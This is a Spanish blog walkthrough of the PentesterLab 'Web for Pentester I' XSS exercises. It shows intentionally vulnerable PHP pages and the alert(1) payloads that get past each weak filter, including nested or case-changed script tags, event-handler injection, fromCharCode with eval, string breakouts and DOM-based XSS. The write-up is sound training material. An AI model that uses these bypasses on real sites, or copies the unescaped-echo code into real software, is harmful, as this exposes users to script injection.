[Writeup] #Pentesterlab XSS web for pentester I

Voy a mostrar como realicé los ejercicios de XSS (Cross-site scripting) que han preparado en pentesterlab, con la máquina vulnerable web_for_pentester.

La página cuenta con una gran cantidad de retos sobre diferentes tipos de vulnerabilidades web, pero en este artículo vamos a centrarnos en los XSS:

wfp_home

Estos ejercicios los he hecho con el navegador Chrome ya que el Firefox tiene un filtro anti-xss.

Ejemplo 1:

Web:

xss1

Código php:

<?php require_once '../header.php'; ?>
<html>
Hello
<?php
echo $_GET["name"];
?>
<?php require_once '../footer.php'; ?>

Cómo explotarlo:

Este código php no tiene ningún tipo de protección, por lo que podemos inyectar código javascript directamente a la variable name.

xss1_i


Ejemplo 2:

Código php:

<?php require_once '../header.php'; ?>
Hello
<?php
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/","", $name);
    $name = preg_replace("/<\/script>/","", $name);
    echo $name;
?>
<?php require_once '../footer.php'; ?>

Cómo explotarlo: En este caso vemos que existe un filtrado del texto que le pasemos a la variable name. La función preg_replace realiza una búsqueda y sustitución con una expresión regular, en este caso sustituye las cadenas que contengan ‘<script >’ o ‘</script >’ de la variable name por cadenas vacías, por lo que si ponemos una de las letras en mayúscula podremos evadir la expresión regular.

xss2_1


Ejemplo 3:

Código php:

<?php require_once '../header.php'; ?>
Hello
<?php
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/<\/script>/i","", $name);
    echo $name;
?>

<?php require_once '../footer.php'; ?>

Cómo explotarlo: Este ejemplo es similar al anterior solo que en este caso con la ‘i’ de la expresión regular especifica que ignore mayúsculas y minúsculas. Para saltarse esto, se puede poner otra etiqueta script dentro de script, para que cuando la expresión regular quite la interna, se forme otra vez la etiqueta script.

xss3


Ejemplo 4:

Código php:

<?php require_once '../header.php';  
    if (preg_match('/script/i', $_GET["name"])) {   
        die("error"); 
    } 
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

Cómo explotarlo: En este ejemplo vemos que si encuentra en la variable name la cadena script, ignorando también si tiene algún carácter en mayúscula, llama a la función die que muestra el mensaje “error” y sale del script php. Para conseguir explotar esto, podemos inyectar javascript dentro de alguna etiqueta html como a (Es necesario pinchar en el link para que se ejecute), div o img y jugar con los eventos onmouseover, onmouseout, onerror, … Veamos algún ejemplo:

  • En este caso inyectamos un enlace html al que le añadimos el evento onmouseover, para que cuando se pase el ratón por encima del enlace Home salte el alert. xss4
  • Creamos un div sin texto para que al pasar con el ratón por encima se ejecute el alert del evento onmouseover.xss4_2
  • En este ejemplo inyectamos una imagen html en la página, pero no puede existir en el servidor para que cuando se cargue la página hagamos saltar el evento onerror y conseguir ejecutar el alert.xss4_3

Ejemplo 5:

Web: Código php:

<?php require_once '../header.php';  
    if (preg_match('/alert/i', $_GET["name"])) {   
        die("error"); 
    } 
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

Cómo explotarlo: Tenemos el mismo ejemplo que antes pero en vez de filtrar por script ahora filtra por alert. Para este caso podemos usar la función eval, que si su argumento es una sentencia javascript la ejecuta, a esta función le podemos pasar como argumento la cadena alert(1) pero codificada con la función String.fromCharCode() pasándole los caracteres ascii en decimal. ‘a’ = 97 ‘l’ = 108 ‘e’ = 101 … String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) Para estos casos es muy útil el plugin para el navegador HackBar.

xss_hackbar xss5_1


Ejemplo 6:

Web: Código php:

<?php require_once '../header.php'; ?>
Hello
<script>
    var $a= "<?php  echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>

Cómo explotarlo:

En este caso lo que le pasemos a la variable name va a ser guardado en la variable $a.

Para conseguir ejecutar javascript hay que cerrar la cadena de la variable $a, insertar el código javascript que queramos y comentar la línea para que omita el “; del final.

<script>
    var $a= " "</script><script>alert(1);// ";
</script>

xss6


Ejemplo 7:

Web:

Código php:

<?php require_once '../header.php'; ?>
Hello
<script>
    var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

<?php require_once '../footer.php'; ?>

Cómo explotarlo:

La función htmlentities() se encarga de convertir todos los caracteres que tengan una entidad equivalente en html, por ejemplo ‘<‘ con ‘<‘, pero por ejemplo no convierte las comillas simples ‘ a no ser que se lo indiques explícitamente.

Por lo tanto para conseguir ejecutar javascript, con una comilla y punto y coma cerramos la asignacion de una cadena vacía, añadimos el alert y ponemos comentario de linea para quitar la comilla y punto y coma sobrante.

<script>
    var $a= ' ';alert(1);// ';
</script>

xss7


Ejemplo 8:

Web:

xss8

Código php:

<?php require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit"/>

<?php require_once '../footer.php'; ?>

Cómo explotarlo:

En este ejemplo podemos inyectar código javascript en el $_SERVER[‘PHP_SELF’] el cual devuelve el nombre del archivo de script ejecutándose actualmente, relativa al directorio raíz de documentos del servidor, en este caso devolverá /xss/example8.php.

Si inyectamos en la url un payload que termine el cierre del formulario podremos escribir código javascript a a continuación:

<form action=" "><script>alert(1)<script> " method="POST">

xss8_1


Ejemplo 9:

Web:

 xss9

Código php:

<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

Cómo explotarlo:

Este ejemplo se trata de un DOM-Based-XSS en el que el código malicioso no proviene del servidor, sino que es el cliente el que añade nodos al árbol DOM introduciendo en esos nodos el código malicioso.

xss9_1

Y eso son todos los ejercicios de XSS de web_for_pentester I, ahora a mirar otros writeups para aprender otras técnicas.


Esta entrada fue publicada en Pentesterlab, Web, XSS. Guarda el enlace permanente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s